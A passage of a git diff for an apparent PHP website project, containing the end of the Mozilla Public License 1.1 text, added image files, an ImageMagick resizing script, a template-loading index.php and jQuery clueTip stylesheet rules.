+     License or the recipients' rights hereunder. However, You may include
+     an additional document offering the additional rights described in
+     Section 3.5.
+
+     3.2. Availability of Source Code.
+     Any Modification which You create or to which You contribute must be
+     made available in Source Code form under the terms of this License
+     either on the same media as an Executable version or via an accepted
+     Electronic Distribution Mechanism to anyone to whom you made an
+     Executable version available; and if made available via Electronic
+     Distribution Mechanism, must remain available for at least twelve (12)
+     months after the date it initially became available, or at least six
+     (6) months after a subsequent version of that particular Modification
+     has been made available to such recipients. You are responsible for
+     ensuring that the Source Code version remains available even if the
+     Electronic Distribution Mechanism is maintained by a third party.
+
+     3.3. Description of Modifications.
+     You must cause all Covered Code to which You contribute to contain a
+     file documenting the changes You made to create that Covered Code and
+     the date of any change. You must include a prominent statement that
+     the Modification is derived, directly or indirectly, from Original
+     Code provided by the Initial Developer and including the name of the
+     Initial Developer in (a) the Source Code, and (b) in any notice in an
+     Executable version or related documentation in which You describe the
+     origin or ownership of the Covered Code.
+
+     3.4. Intellectual Property Matters
+          (a) Third Party Claims.
+          If Contributor has knowledge that a license under a third party's
+          intellectual property rights is required to exercise the rights
+          granted by such Contributor under Sections 2.1 or 2.2,
+          Contributor must include a text file with the Source Code
+          distribution titled "LEGAL" which describes the claim and the
+          party making the claim in sufficient detail that a recipient will
+          know whom to contact. If Contributor obtains such knowledge after
+          the Modification is made available as described in Section 3.2,
+          Contributor shall promptly modify the LEGAL file in all copies
+          Contributor makes available thereafter and shall take other steps
+          (such as notifying appropriate mailing lists or newsgroups)
+          reasonably calculated to inform those who received the Covered
+          Code that new knowledge has been obtained.
+
+          (b) Contributor APIs.
+          If Contributor's Modifications include an application programming
+          interface and Contributor has knowledge of patent licenses which
+          are reasonably necessary to implement that API, Contributor must
+          also include this information in the LEGAL file.
+
+               (c)    Representations.
+          Contributor represents that, except as disclosed pursuant to
+          Section 3.4(a) above, Contributor believes that Contributor's
+          Modifications are Contributor's original creation(s) and/or
+          Contributor has sufficient rights to grant the rights conveyed by
+          this License.
+
+     3.5. Required Notices.
+     You must duplicate the notice in Exhibit A in each file of the Source
+     Code.  If it is not possible to put such notice in a particular Source
+     Code file due to its structure, then You must include such notice in a
+     location (such as a relevant directory) where a user would be likely
+     to look for such a notice.  If You created one or more Modification(s)
+     You may add your name as a Contributor to the notice described in
+     Exhibit A.  You must also duplicate this License in any documentation
+     for the Source Code where You describe recipients' rights or ownership
+     rights relating to Covered Code.  You may choose to offer, and to
+     charge a fee for, warranty, support, indemnity or liability
+     obligations to one or more recipients of Covered Code. However, You
+     may do so only on Your own behalf, and not on behalf of the Initial
+     Developer or any Contributor. You must make it absolutely clear than
+     any such warranty, support, indemnity or liability obligation is
+     offered by You alone, and You hereby agree to indemnify the Initial
+     Developer and every Contributor for any liability incurred by the
+     Initial Developer or such Contributor as a result of warranty,
+     support, indemnity or liability terms You offer.
+
+     3.6. Distribution of Executable Versions.
+     You may distribute Covered Code in Executable form only if the
+     requirements of Section 3.1-3.5 have been met for that Covered Code,
+     and if You include a notice stating that the Source Code version of
+     the Covered Code is available under the terms of this License,
+     including a description of how and where You have fulfilled the
+     obligations of Section 3.2. The notice must be conspicuously included
+     in any notice in an Executable version, related documentation or
+     collateral in which You describe recipients' rights relating to the
+     Covered Code. You may distribute the Executable version of Covered
+     Code or ownership rights under a license of Your choice, which may
+     contain terms different from this License, provided that You are in
+     compliance with the terms of this License and that the license for the
+     Executable version does not attempt to limit or alter the recipient's
+     rights in the Source Code version from the rights set forth in this
+     License. If You distribute the Executable version under a different
+     license You must make it absolutely clear that any terms which differ
+     from this License are offered by You alone, not by the Initial
+     Developer or any Contributor. You hereby agree to indemnify the
+     Initial Developer and every Contributor for any liability incurred by
+     the Initial Developer or such Contributor as a result of any such
+     terms You offer.
+
+     3.7. Larger Works.
+     You may create a Larger Work by combining Covered Code with other code
+     not governed by the terms of this License and distribute the Larger
+     Work as a single product. In such a case, You must make sure the
+     requirements of this License are fulfilled for the Covered Code.
+
+4. Inability to Comply Due to Statute or Regulation.
+
+     If it is impossible for You to comply with any of the terms of this
+     License with respect to some or all of the Covered Code due to
+     statute, judicial order, or regulation then You must: (a) comply with
+     the terms of this License to the maximum extent possible; and (b)
+     describe the limitations and the code they affect. Such description
+     must be included in the LEGAL file described in Section 3.4 and must
+     be included with all distributions of the Source Code. Except to the
+     extent prohibited by statute or regulation, such description must be
+     sufficiently detailed for a recipient of ordinary skill to be able to
+     understand it.
+
+5. Application of this License.
+
+     This License applies to code to which the Initial Developer has
+     attached the notice in Exhibit A and to related Covered Code.
+
+6. Versions of the License.
+
+     6.1. New Versions.
+     Netscape Communications Corporation ("Netscape") may publish revised
+     and/or new versions of the License from time to time. Each version
+     will be given a distinguishing version number.
+
+     6.2. Effect of New Versions.
+     Once Covered Code has been published under a particular version of the
+     License, You may always continue to use it under the terms of that
+     version. You may also choose to use such Covered Code under the terms
+     of any subsequent version of the License published by Netscape. No one
+     other than Netscape has the right to modify the terms applicable to
+     Covered Code created under this License.
+
+     6.3. Derivative Works.
+     If You create or use a modified version of this License (which you may
+     only do in order to apply it to code which is not already Covered Code
+     governed by this License), You must (a) rename Your license so that
+     the phrases "Mozilla", "MOZILLAPL", "MOZPL", "Netscape",
+     "MPL", "NPL" or any confusingly similar phrase do not appear in your
+     license (except to note that your license differs from this License)
+     and (b) otherwise make it clear that Your version of the license
+     contains terms which differ from the Mozilla Public License and
+     Netscape Public License. (Filling in the name of the Initial
+     Developer, Original Code or Contributor in the notice described in
+     Exhibit A shall not of themselves be deemed to be modifications of
+     this License.)
+
+7. DISCLAIMER OF WARRANTY.
+
+     COVERED CODE IS PROVIDED UNDER THIS LICENSE ON AN "AS IS" BASIS,
+     WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
+     WITHOUT LIMITATION, WARRANTIES THAT THE COVERED CODE IS FREE OF
+     DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING.
+     THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE COVERED CODE
+     IS WITH YOU. SHOULD ANY COVERED CODE PROVE DEFECTIVE IN ANY RESPECT,
+     YOU (NOT THE INITIAL DEVELOPER OR ANY OTHER CONTRIBUTOR) ASSUME THE
+     COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER
+     OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF
+     ANY COVERED CODE IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+8. TERMINATION.
+
+     8.1.  This License and the rights granted hereunder will terminate
+     automatically if You fail to comply with terms herein and fail to cure
+     such breach within 30 days of becoming aware of the breach. All
+     sublicenses to the Covered Code which are properly granted shall
+     survive any termination of this License. Provisions which, by their
+     nature, must remain in effect beyond the termination of this License
+     shall survive.
+
+     8.2.  If You initiate litigation by asserting a patent infringement
+     claim (excluding declatory judgment actions) against Initial Developer
+     or a Contributor (the Initial Developer or Contributor against whom
+     You file such action is referred to as "Participant")  alleging that:
+
+     (a)  such Participant's Contributor Version directly or indirectly
+     infringes any patent, then any and all rights granted by such
+     Participant to You under Sections 2.1 and/or 2.2 of this License
+     shall, upon 60 days notice from Participant terminate prospectively,
+     unless if within 60 days after receipt of notice You either: (i)
+     agree in writing to pay Participant a mutually agreeable reasonable
+     royalty for Your past and future use of Modifications made by such
+     Participant, or (ii) withdraw Your litigation claim with respect to
+     the Contributor Version against such Participant.  If within 60 days
+     of notice, a reasonable royalty and payment arrangement are not
+     mutually agreed upon in writing by the parties or the litigation claim
+     is not withdrawn, the rights granted by Participant to You under
+     Sections 2.1 and/or 2.2 automatically terminate at the expiration of
+     the 60 day notice period specified above.
+
+     (b)  any software, hardware, or device, other than such Participant's
+     Contributor Version, directly or indirectly infringes any patent, then
+     any rights granted to You by such Participant under Sections 2.1(b)
+     and 2.2(b) are revoked effective as of the date You first made, used,
+     sold, distributed, or had made, Modifications made by that
+     Participant.
+
+     8.3.  If You assert a patent infringement claim against Participant
+     alleging that such Participant's Contributor Version directly or
+     indirectly infringes any patent where such claim is resolved (such as
+     by license or settlement) prior to the initiation of patent
+     infringement litigation, then the reasonable value of the licenses
+     granted by such Participant under Sections 2.1 or 2.2 shall be taken
+     into account in determining the amount or value of any payment or
+     license.
+
+     8.4.  In the event of termination under Sections 8.1 or 8.2 above,
+     all end user license agreements (excluding distributors and resellers)
+     which have been validly granted by You or any distributor hereunder
+     prior to termination shall survive termination.
+
+9. LIMITATION OF LIABILITY.
+
+     UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT
+     (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL YOU, THE INITIAL
+     DEVELOPER, ANY OTHER CONTRIBUTOR, OR ANY DISTRIBUTOR OF COVERED CODE,
+     OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR
+     ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY
+     CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL,
+     WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER
+     COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN
+     INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF
+     LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY
+     RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW
+     PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE
+     EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO
+     THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+10. U.S. GOVERNMENT END USERS.
+
+     The Covered Code is a "commercial item," as that term is defined in
+     48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer
+     software" and "commercial computer software documentation," as such
+     terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48
+     C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995),
+     all U.S. Government End Users acquire Covered Code with only those
+     rights set forth herein.
+
+11. MISCELLANEOUS.
+
+     This License represents the complete agreement concerning subject
+     matter hereof. If any provision of this License is held to be
+     unenforceable, such provision shall be reformed only to the extent
+     necessary to make it enforceable. This License shall be governed by
+     California law provisions (except to the extent applicable law, if
+     any, provides otherwise), excluding its conflict-of-law provisions.
+     With respect to disputes in which at least one party is a citizen of,
+     or an entity chartered or registered to do business in the United
+     States of America, any litigation relating to this License shall be
+     subject to the jurisdiction of the Federal Courts of the Northern
+     District of California, with venue lying in Santa Clara County,
+     California, with the losing party responsible for costs, including
+     without limitation, court costs and reasonable attorneys' fees and
+     expenses. The application of the United Nations Convention on
+     Contracts for the International Sale of Goods is expressly excluded.
+     Any law or regulation which provides that the language of a contract
+     shall be construed against the drafter shall not apply to this
+     License.
+
+12. RESPONSIBILITY FOR CLAIMS.
+
+     As between Initial Developer and the Contributors, each party is
+     responsible for claims and damages arising, directly or indirectly,
+     out of its utilization of rights under this License and You agree to
+     work with Initial Developer and Contributors to distribute such
+     responsibility on an equitable basis. Nothing herein is intended or
+     shall be deemed to constitute any admission of liability.
+
+13. MULTIPLE-LICENSED CODE.
+
+     Initial Developer may designate portions of the Covered Code as
+     "Multiple-Licensed".  "Multiple-Licensed" means that the Initial
+     Developer permits you to utilize portions of the Covered Code under
+     Your choice of the NPL or the alternative licenses, if any, specified
+     by the Initial Developer in the file described in Exhibit A.
+
+EXHIBIT A -Mozilla Public License.
+
+     ``The contents of this file are subject to the Mozilla Public License
+     Version 1.1 (the "License"); you may not use this file except in
+     compliance with the License. You may obtain a copy of the License at
+     http://www.mozilla.org/MPL/
+
+     Software distributed under the License is distributed on an "AS IS"
+     basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
+     License for the specific language governing rights and limitations
+     under the License.
+
+     The Original Code is ______________________________________.
+
+     The Initial Developer of the Original Code is ________________________.
+     Portions created by ______________________ are Copyright (C) ______
+     _______________________. All Rights Reserved.
+
+     Contributor(s): ______________________________________.
+
+     Alternatively, the contents of this file may be used under the terms
+     of the _____ license (the  "[___] License"), in which case the
+     provisions of [______] License are applicable instead of those
+     above.  If you wish to allow use of your version of this file only
+     under the terms of the [____] License and not to allow others to use
+     your version of this file under the MPL, indicate your decision by
+     deleting  the provisions above and replace  them with the notice and
+     other provisions required by the [___] License.  If you do not delete
+     the provisions above, a recipient may use your version of this file
+     under either the MPL or the [___] License."
+
+     [NOTE: The text of this Exhibit A may differ slightly from the text of
+     the notices in the Source Code files of the Original Code. You should
+     use the text of this Exhibit A rather than the text found in the
+     Original Code Source Code for Your Modifications.]
+
diff --git a/images/application_edit.png b/images/application_edit.png
new file mode 100644 (file)
index 0000000..fb2efb8
Binary files /dev/null and b/images/application_edit.png differ
diff --git a/images/cross.png b/images/cross.png
new file mode 100644 (file)
index 0000000..1514d51
Binary files /dev/null and b/images/cross.png differ
diff --git a/images/delete.png b/images/delete.png
new file mode 100644 (file)
index 0000000..08f2493
Binary files /dev/null and b/images/delete.png differ
diff --git a/images/error.gif b/images/error.gif
new file mode 100644 (file)
index 0000000..48543cd
Binary files /dev/null and b/images/error.gif differ
diff --git a/images/file-ext/avi.gif b/images/file-ext/avi.gif
new file mode 100644 (file)
index 0000000..9754248
Binary files /dev/null and b/images/file-ext/avi.gif differ
diff --git a/images/file-ext/cad.gif b/images/file-ext/cad.gif
new file mode 100644 (file)
index 0000000..3947208
Binary files /dev/null and b/images/file-ext/cad.gif differ
diff --git a/images/file-ext/doc.gif b/images/file-ext/doc.gif
new file mode 100644 (file)
index 0000000..7e053f5
Binary files /dev/null and b/images/file-ext/doc.gif differ
diff --git a/images/file-ext/download.gif b/images/file-ext/download.gif
new file mode 100644 (file)
index 0000000..d27f89e
Binary files /dev/null and b/images/file-ext/download.gif differ
diff --git a/images/file-ext/gif.gif b/images/file-ext/gif.gif
new file mode 100644 (file)
index 0000000..2f1cd83
Binary files /dev/null and b/images/file-ext/gif.gif differ
diff --git a/images/file-ext/html.gif b/images/file-ext/html.gif
new file mode 100644 (file)
index 0000000..e92ab0c
Binary files /dev/null and b/images/file-ext/html.gif differ
diff --git a/images/file-ext/jpg.gif b/images/file-ext/jpg.gif
new file mode 100644 (file)
index 0000000..2f1cd83
Binary files /dev/null and b/images/file-ext/jpg.gif differ
diff --git a/images/file-ext/mov.gif b/images/file-ext/mov.gif
new file mode 100644 (file)
index 0000000..9754248
Binary files /dev/null and b/images/file-ext/mov.gif differ
diff --git a/images/file-ext/mp3.gif b/images/file-ext/mp3.gif
new file mode 100644 (file)
index 0000000..6a41246
Binary files /dev/null and b/images/file-ext/mp3.gif differ
diff --git a/images/file-ext/pdf.png b/images/file-ext/pdf.png
new file mode 100644 (file)
index 0000000..e64037e
Binary files /dev/null and b/images/file-ext/pdf.png differ
diff --git a/images/file-ext/ppt.gif b/images/file-ext/ppt.gif
new file mode 100644 (file)
index 0000000..4f0c034
Binary files /dev/null and b/images/file-ext/ppt.gif differ
diff --git a/images/file-ext/rm.gif b/images/file-ext/rm.gif
new file mode 100644 (file)
index 0000000..9754248
Binary files /dev/null and b/images/file-ext/rm.gif differ
diff --git a/images/file-ext/txt.png b/images/file-ext/txt.png
new file mode 100644 (file)
index 0000000..22e37ee
Binary files /dev/null and b/images/file-ext/txt.png differ
diff --git a/images/file-ext/wmv.gif b/images/file-ext/wmv.gif
new file mode 100644 (file)
index 0000000..9754248
Binary files /dev/null and b/images/file-ext/wmv.gif differ
diff --git a/images/file-ext/xls.gif b/images/file-ext/xls.gif
new file mode 100644 (file)
index 0000000..9f5d57b
Binary files /dev/null and b/images/file-ext/xls.gif differ
diff --git a/images/file-ext/zip.png b/images/file-ext/zip.png
new file mode 100644 (file)
index 0000000..6b75d4d
Binary files /dev/null and b/images/file-ext/zip.png differ
diff --git a/images/find.png b/images/find.png
new file mode 100644 (file)
index 0000000..1547479
Binary files /dev/null and b/images/find.png differ
diff --git a/images/flag_green.png b/images/flag_green.png
new file mode 100644 (file)
index 0000000..e4bc611
Binary files /dev/null and b/images/flag_green.png differ
diff --git a/images/grnball.gif b/images/grnball.gif
new file mode 100755 (executable)
index 0000000..5f7740b
Binary files /dev/null and b/images/grnball.gif differ
diff --git a/images/help.gif b/images/help.gif
new file mode 100755 (executable)
index 0000000..4915678
Binary files /dev/null and b/images/help.gif differ
diff --git a/images/html.gif b/images/html.gif
new file mode 100755 (executable)
index 0000000..21e8e85
Binary files /dev/null and b/images/html.gif differ
diff --git a/images/img.gif b/images/img.gif
new file mode 100755 (executable)
index 0000000..cd2c4a5
Binary files /dev/null and b/images/img.gif differ
diff --git a/images/left.gif b/images/left.gif
new file mode 100644 (file)
index 0000000..29d0ba1
Binary files /dev/null and b/images/left.gif differ
diff --git a/images/loadingAnimation.gif b/images/loadingAnimation.gif
new file mode 100644 (file)
index 0000000..92c5c30
Binary files /dev/null and b/images/loadingAnimation.gif differ
diff --git a/images/logo.gif b/images/logo.gif
new file mode 100755 (executable)
index 0000000..cb56683
Binary files /dev/null and b/images/logo.gif differ
diff --git a/images/mobilemgreen.jpg b/images/mobilemgreen.jpg
new file mode 100644 (file)
index 0000000..a5fc6ce
Binary files /dev/null and b/images/mobilemgreen.jpg differ
diff --git a/images/mobilemred.jpg b/images/mobilemred.jpg
new file mode 100644 (file)
index 0000000..217826d
Binary files /dev/null and b/images/mobilemred.jpg differ
diff --git a/images/note_edit.png b/images/note_edit.png
new file mode 100644 (file)
index 0000000..291bfc7
Binary files /dev/null and b/images/note_edit.png differ
diff --git a/images/page_edit.png b/images/page_edit.png
new file mode 100644 (file)
index 0000000..046811e
Binary files /dev/null and b/images/page_edit.png differ
diff --git a/images/redball.gif b/images/redball.gif
new file mode 100755 (executable)
index 0000000..7005133
Binary files /dev/null and b/images/redball.gif differ
diff --git a/images/right.gif b/images/right.gif
new file mode 100644 (file)
index 0000000..d66a1ca
Binary files /dev/null and b/images/right.gif differ
diff --git a/images/shadowb.gif b/images/shadowb.gif
new file mode 100644 (file)
index 0000000..72c4706
Binary files /dev/null and b/images/shadowb.gif differ
diff --git a/images/shadowr.gif b/images/shadowr.gif
new file mode 100644 (file)
index 0000000..f7e19d1
Binary files /dev/null and b/images/shadowr.gif differ
diff --git a/images/size.sh b/images/size.sh
new file mode 100755 (executable)
index 0000000..2471ec3
--- /dev/null
@@ -0,0 +1,13 @@
+#! /bin/bash
+convert='/usr/bin/convert'
+composite='/usr/bin/composite'
+
+for file in original/*
+do 
+       temp=`basename $file` 
+       $convert -scale '287>' $file resized/$temp
+       $convert -scale '210>' $file midsized/$temp
+       $convert -scale '120>' $file thumb/$temp
+
+       echo $temp 
+done
diff --git a/images/tick.png b/images/tick.png
new file mode 100644 (file)
index 0000000..a9925a0
Binary files /dev/null and b/images/tick.png differ
diff --git a/images/top2.jpg b/images/top2.jpg
new file mode 100755 (executable)
index 0000000..350fbe1
Binary files /dev/null and b/images/top2.jpg differ
diff --git a/images/user_add.png b/images/user_add.png
new file mode 100644 (file)
index 0000000..deae99b
Binary files /dev/null and b/images/user_add.png differ
diff --git a/images/user_edit.png b/images/user_edit.png
new file mode 100644 (file)
index 0000000..c1974cd
Binary files /dev/null and b/images/user_edit.png differ
diff --git a/index.php b/index.php
new file mode 100644 (file)
index 0000000..64282e2
--- /dev/null
+++ b/index.php
@@ -0,0 +1,40 @@
+<?php
+$dont_include_functions = true;
+require_once 'setup.phtml';
+if (defined("SHORT_URLS") && SHORT_URLS && $_GET['glmPage']) {
+    $shortURL = new Toolkit_ShortURL(Toolkit_Database::getInstance());
+    if (!$catid = $shortURL->getShortUrlId($_GET['glmPage'])) {
+        $catid = HOME_ID;
+    }
+} else {
+    $catid   = is_numeric($_GET['catid']) ? $_GET['catid'] : HOME_ID;
+}
+if ($catid != HOME_ID) {
+    require_once 'Text/CAPTCHA.php';
+    require_once 'Text/CAPTCHA/Driver/Image.php';
+}
+HTTP_Session2::useCookies(false);
+HTTP_Session2::start();
+//session_start();
+require_once 'setup_functions.phtml';
+
+// check that the setup file has been set for new customer
+if (!strpos(BASE_URL, 'demo.gaslightmedia.com') && !CUSTOMER_SETUP_COMPLETE) {
+    die('Site is not setup.  Please set all defines in setup.phtml');
+}
+
+$toolbox = new GLM_TEMPLATE($catid);
+
+//     Initiate HTML_Template_Flexy.
+$template = new HTML_Template_Flexy($flexyOptions);
+//     Page object used for merging with the flexy template object.
+//     now using the page class from toolkit
+$gPage = new Toolkit_Page($toolbox);
+$gPage->toolboxContent  = $toolbox->get_page();
+//$gPage->toolboxContent .= '<pre>'.print_r($_GET, true).'</pre>';
+
+//     Compile the template.html from the templates directory.
+$template->compile('template.html');
+//     Merge compiled template with the $gPage object.
+$template->outputObject($gPage);
+?>
diff --git a/libjs/cluetip/images/arrowdown.gif b/libjs/cluetip/images/arrowdown.gif
new file mode 100755 (executable)
index 0000000..bf5ba10
Binary files /dev/null and b/libjs/cluetip/images/arrowdown.gif differ
diff --git a/libjs/cluetip/images/arrowleft.gif b/libjs/cluetip/images/arrowleft.gif
new file mode 100755 (executable)
index 0000000..26f1910
Binary files /dev/null and b/libjs/cluetip/images/arrowleft.gif differ
diff --git a/libjs/cluetip/images/arrowright.gif b/libjs/cluetip/images/arrowright.gif
new file mode 100755 (executable)
index 0000000..df4291b
Binary files /dev/null and b/libjs/cluetip/images/arrowright.gif differ
diff --git a/libjs/cluetip/images/arrowup.gif b/libjs/cluetip/images/arrowup.gif
new file mode 100755 (executable)
index 0000000..5e59eec
Binary files /dev/null and b/libjs/cluetip/images/arrowup.gif differ
diff --git a/libjs/cluetip/images/bl.gif b/libjs/cluetip/images/bl.gif
new file mode 100755 (executable)
index 0000000..5bab228
Binary files /dev/null and b/libjs/cluetip/images/bl.gif differ
diff --git a/libjs/cluetip/images/bl.png b/libjs/cluetip/images/bl.png
new file mode 100755 (executable)
index 0000000..39960c0
Binary files /dev/null and b/libjs/cluetip/images/bl.png differ
diff --git a/libjs/cluetip/images/br.gif b/libjs/cluetip/images/br.gif
new file mode 100755 (executable)
index 0000000..a67d398
Binary files /dev/null and b/libjs/cluetip/images/br.gif differ
diff --git a/libjs/cluetip/images/br.png b/libjs/cluetip/images/br.png
new file mode 100755 (executable)
index 0000000..b43a4f4
Binary files /dev/null and b/libjs/cluetip/images/br.png differ
diff --git a/libjs/cluetip/images/darrowdown.gif b/libjs/cluetip/images/darrowdown.gif
new file mode 100755 (executable)
index 0000000..4d0ca91
Binary files /dev/null and b/libjs/cluetip/images/darrowdown.gif differ
diff --git a/libjs/cluetip/images/darrowleft.gif b/libjs/cluetip/images/darrowleft.gif
new file mode 100755 (executable)
index 0000000..8cd3000
Binary files /dev/null and b/libjs/cluetip/images/darrowleft.gif differ
diff --git a/libjs/cluetip/images/darrowright.gif b/libjs/cluetip/images/darrowright.gif
new file mode 100755 (executable)
index 0000000..d0b1cd5
Binary files /dev/null and b/libjs/cluetip/images/darrowright.gif differ
diff --git a/libjs/cluetip/images/darrowup.gif b/libjs/cluetip/images/darrowup.gif
new file mode 100755 (executable)
index 0000000..6d85a99
Binary files /dev/null and b/libjs/cluetip/images/darrowup.gif differ
diff --git a/libjs/cluetip/images/itunes.png b/libjs/cluetip/images/itunes.png
new file mode 100755 (executable)
index 0000000..6101957
Binary files /dev/null and b/libjs/cluetip/images/itunes.png differ
diff --git a/libjs/cluetip/images/rarrowdown.gif b/libjs/cluetip/images/rarrowdown.gif
new file mode 100755 (executable)
index 0000000..f8296c7
Binary files /dev/null and b/libjs/cluetip/images/rarrowdown.gif differ
diff --git a/libjs/cluetip/images/rarrowleft.gif b/libjs/cluetip/images/rarrowleft.gif
new file mode 100755 (executable)
index 0000000..4926b83
Binary files /dev/null and b/libjs/cluetip/images/rarrowleft.gif differ
diff --git a/libjs/cluetip/images/rarrowright.gif b/libjs/cluetip/images/rarrowright.gif
new file mode 100755 (executable)
index 0000000..08ed75f
Binary files /dev/null and b/libjs/cluetip/images/rarrowright.gif differ
diff --git a/libjs/cluetip/images/rarrowup.gif b/libjs/cluetip/images/rarrowup.gif
new file mode 100755 (executable)
index 0000000..22c93c2
Binary files /dev/null and b/libjs/cluetip/images/rarrowup.gif differ
diff --git a/libjs/cluetip/images/tl.gif b/libjs/cluetip/images/tl.gif
new file mode 100755 (executable)
index 0000000..9a2dd2e
Binary files /dev/null and b/libjs/cluetip/images/tl.gif differ
diff --git a/libjs/cluetip/images/tl.png b/libjs/cluetip/images/tl.png
new file mode 100755 (executable)
index 0000000..7c08f19
Binary files /dev/null and b/libjs/cluetip/images/tl.png differ
diff --git a/libjs/cluetip/images/tr.gif b/libjs/cluetip/images/tr.gif
new file mode 100755 (executable)
index 0000000..faa2e74
Binary files /dev/null and b/libjs/cluetip/images/tr.gif differ
diff --git a/libjs/cluetip/images/tr.png b/libjs/cluetip/images/tr.png
new file mode 100755 (executable)
index 0000000..d6293ea
Binary files /dev/null and b/libjs/cluetip/images/tr.png differ
diff --git a/libjs/cluetip/images/wait.gif b/libjs/cluetip/images/wait.gif
new file mode 100755 (executable)
index 0000000..8186b0c
Binary files /dev/null and b/libjs/cluetip/images/wait.gif differ
diff --git a/libjs/cluetip/jquery.cluetip.css b/libjs/cluetip/jquery.cluetip.css
new file mode 100755 (executable)
index 0000000..213282a
--- /dev/null
@@ -0,0 +1,235 @@
+/* global */
+#cluetip-close img {
+  border: 0;
+}
+#cluetip-title {
+  overflow: hidden;
+}
+#cluetip-title #cluetip-close {
+  float: right;
+  position: relative;
+}
+#cluetip-waitimage {
+  width: 43px;
+  height: 11px;
+  position: absolute;
+  background-image: url(wait.gif);
+}
+.cluetip-arrows {
+  display: none;
+  position: absolute;
+  top: 0;
+  left: -11px;
+  height: 22px;
+  width: 11px;
+  background-repeat: no-repeat;
+  background-position: 0 0;
+}
+#cluetip-extra {
+  display: none;
+}
+/***************************************
+   =cluetipClass: 'default' 
+-------------------------------------- */
+
+.cluetip-default {
+  background-color: #d9d9c2;
+       background-color: #006BB5;
+       background-color: #BFDCFF;
+}
+.cluetip-default #cluetip-outer {
+  position: relative;
+  margin: 0;
+  background-color: #ADC7E8;
+       background-color: #ADC7E8;
+       background-color: #D1DFEF;
+       text-align: left;
+}
+.cluetip-default h3#cluetip-title {
+  margin: 0 0 5px;
+  padding: 8px 10px 4px;
+  font-size: 1.1em;
+  font-weight: normal;
+  background-color: #006BB5;
+  color: #fff;
+}
+.cluetip-default #cluetip-title a {
+  color: #d9d9c2;
+  font-size: 0.95em;
+}  
+.cluetip-default #cluetip-inner {
+  padding: 10px;
+}
+.cluetip-default div#cluetip-close { 
+  text-align: right;
+  margin: 0 5px 5px;
+  color: #900;
+}
+
+/* default arrows */
+
+.clue-right-default .cluetip-arrows {
+  background-image: url(images/darrowleft.gif);
+}
+.clue-left-default .cluetip-arrows {
+  background-image: url(images/darrowright.gif);
+  left: 100%;
+  margin-right: -11px;
+}
+.clue-top-default .cluetip-arrows {
+  background-image: url(images/darrowdown.gif);
+  top: 100%;
+  left: 50%;
+  margin-left: -11px;
+  height: 11px;
+  width: 22px;  
+}  
+.clue-bottom-default .cluetip-arrows {
+  background-image: url(images/darrowup.gif);
+  top: -11px;
+  left: 50%;
+  margin-left: -11px;
+  height: 11px;
+  width: 22px;
+}
+
+/***************************************
+   =cluetipClass: 'jtip'
+-------------------------------------- */
+.cluetip-jtip {
+  background-color: transparent;
+}
+.cluetip-jtip #cluetip-outer {
+  border: 2px solid #ccc;
+  position: relative;
+  background-color: #fff;
+}
+
+.cluetip-jtip h3#cluetip-title {
+  margin: 0 0 5px;
+  padding: 2px 5px;
+  font-size: 16px;
+  font-weight: normal;
+  background-color: #ccc;
+  color: #333;
+}
+
+.cluetip-jtip #cluetip-inner {
+  padding: 0 5px 5px;
+  display: inline-block;
+}
+.cluetip-jtip div#cluetip-close { 
+  text-align: right;
+  margin: 0 5px 5px;
+  color: #900;
+}
+
+/* jtip arrows */
+
+.clue-right-jtip .cluetip-arrows {
+  background-image: url(images/arrowleft.gif);
+}
+.clue-left-jtip .cluetip-arrows {
+  background-image: url(images/arrowright.gif);
+  left: 100%;
+  margin-right: -11px;
+}
+.clue-top-jtip .cluetip-arrows {
+  background-image: url(images/arrowdown.gif);
+  top: 100%;
+  left: 50%;
+  margin-left: -11px;
+  height: 11px;
+  width: 22px;  
+}  
+.clue-bottom-jtip .cluetip-arrows {
+  background-image: url(images/arrowup.gif);
+  top: -11px;
+  left: 50%;
+  margin-left: -11px;
+  height: 11px;
+  width: 22px;
+}
+
+/***************************************
+   =cluetipClass: 'rounded'
+-------------------------------------- */
+
+.cluetip-rounded {
+  background: transparent url(images/bl.gif) no-repeat 0 100%;
+  margin-top: 10px;
+  margin-left: 12px;
+}
+
+.cluetip-rounded #cluetip-outer {
+  background: transparent url(images/tl.gif) no-repeat 0 0;
+  margin-top: -12px;
+}
+
+.cluetip-rounded #cluetip-title {
+  background-color: transparent;
+  padding: 12px 12px 0;
+  margin: 0 -12px 0 0;
+  position: relative;
+}
+.cluetip-rounded #cluetip-extra {
+  position: absolute;
+  display: block;
+  background: transparent url(images/tr.gif) no-repeat 100% 0;
+  top: 0;
+  right: 0;
+  width: 12px;
+  height: 30px;
+  margin: -12px -12px 0 0;
+}
+.cluetip-rounded #cluetip-inner {
+  background: url(images/br.gif) no-repeat 100% 100%;
+  padding: 5px 12px 12px;
+  margin: -18px -12px 0 0;
+  position: relative;
+}
+
